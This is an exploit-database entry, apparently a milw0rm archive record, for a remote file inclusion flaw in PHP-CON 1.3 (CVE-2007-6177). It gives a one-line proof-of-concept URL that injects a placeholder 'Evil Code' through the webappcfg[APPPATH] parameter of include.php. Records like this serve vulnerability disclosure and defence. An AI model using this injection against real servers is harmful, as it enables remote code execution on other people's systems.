Exploit PHP-CON 1.3 - 'include.php' Remote File Inclusion

[Exploiter]

EDB-ID

4670

Проверка EDB

1. Пройдено

Автор

GOLD_M

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-6177

Дата публикации

2007-11-28

PHP-CON 1.3 - 'include.php' Remote File Inclusion

Script : http://sourceforge.net/project/showfiles.php?group_id=182182

POC :

/PHP_CON/Exchange/include.php?webappcfg[APPPATH]= Evil Code

# milw0rm.com [2007-11-28]